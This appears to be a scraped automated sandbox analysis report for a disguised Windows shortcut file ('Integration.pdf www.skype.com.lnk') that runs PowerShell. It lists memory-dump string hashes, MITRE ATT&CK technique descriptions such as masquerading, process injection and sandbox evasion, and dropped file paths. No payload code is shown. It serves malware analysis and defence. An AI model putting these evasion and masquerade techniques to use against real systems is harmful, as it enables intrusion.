xXHK, xrefs: 00007FFB4B127B79

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID: 8WHK$8XHK$8aHK$8bHK$8cHK$8dHK$XVHK$XWHK$XXHK$XaHK$XbHK$XcHK$XdHK$xVHK$xWHK$xXHK$xaHK$xbHK$xcHK
API String ID: 0-2793228228
Opcode ID: 577326ae644b6f39ab925f0abe42d27921753b0ac14862a756c625820bf41139
Instruction ID: 2462808db95a4dffe017a4ced0cd7198ce7d5c78d236f3fcad74e83894c0e93d
Opcode Fuzzy Hash: 577326ae644b6f39ab925f0abe42d27921753b0ac14862a756c625820bf41139
Instruction Fuzzy Hash: 46B1B9C7A1EAC60BE3AD19ECB9031363FD1DB826A471981FBD1D85A1EF5C254D0686C3

Function 00007FFB4B128180 Relevance: 17.8, Strings: 14, Instructions: 267COMMON

Download Yara Rule

Strings

xTHK, xrefs: 00007FFB4B128191
xGHK, xrefs: 00007FFB4B128329
XFHK, xrefs: 00007FFB4B128299
XGHK, xrefs: 00007FFB4B128319
xHHK, xrefs: 00007FFB4B1283A9
XTHK, xrefs: 00007FFB4B128181
8HHK, xrefs: 00007FFB4B128389
xUHK, xrefs: 00007FFB4B128211
XHHK, xrefs: 00007FFB4B128399
8GHK, xrefs: 00007FFB4B128309
xFHK, xrefs: 00007FFB4B1282A9
8UHK, xrefs: 00007FFB4B1281F1
XUHK, xrefs: 00007FFB4B128201
8FHK, xrefs: 00007FFB4B128289

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID: 8FHK$8GHK$8HHK$8UHK$XFHK$XGHK$XHHK$XTHK$XUHK$xFHK$xGHK$xHHK$xTHK$xUHK
API String ID: 0-3740638
Opcode ID: d2abab6731e2724ed2ae63eaf7885e75e8fcbf39b7c216fb7b2c66a046855004
Instruction ID: 52d5601d29b1b27af1cac5ff969da113deee681e61a678996bd83eec24adfa20
Opcode Fuzzy Hash: d2abab6731e2724ed2ae63eaf7885e75e8fcbf39b7c216fb7b2c66a046855004
Instruction Fuzzy Hash: 3981E4C7A0EEC20BF32D59ACA9561783FD2EF4229131A81BBD1D8161FF5C249E05C6C2

Function 00007FFB4B128AA8 Relevance: 12.9, Strings: 10, Instructions: 372COMMON

Download Yara Rule

Strings

X;HK, xrefs: 00007FFB4B128D49
x7HK, xrefs: 00007FFB4B128B59
x6HK, xrefs: 00007FFB4B128AD9
x8HK, xrefs: 00007FFB4B128BD9
X9HK, xrefs: 00007FFB4B128C49
x<HK, xrefs: 00007FFB4B128DD9
x:HK, xrefs: 00007FFB4B128CD9
X7HK, xrefs: 00007FFB4B128B49
x9HK, xrefs: 00007FFB4B128C59
x;HK, xrefs: 00007FFB4B128D59

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID: X7HK$X9HK$X;HK$x6HK$x7HK$x8HK$x9HK$x:HK$x;HK$x<HK
API String ID: 0-2826660214
Opcode ID: cadf763dee13d849afb85dfd50e10f06c9867f75fef4b58a1d6625c60d1a1a02
Instruction ID: 7cb2d10d9a9fef01beb4e629745709bff38aa900f83e2c20071fdfd3327d5428
Opcode Fuzzy Hash: cadf763dee13d849afb85dfd50e10f06c9867f75fef4b58a1d6625c60d1a1a02
Instruction Fuzzy Hash: 6BC107C6C1FAC65FF3269BB8491E1287ED1EF1261079880FFD5C45B1EBE80999198783

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Integration.pdf www.skype.com.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3f99399e-7832-4a8e-b6ed-ba4483bf1520.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241119181115Z-228.bmp

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Windows Analysis Report
Integration.pdf www.skype.com.lnk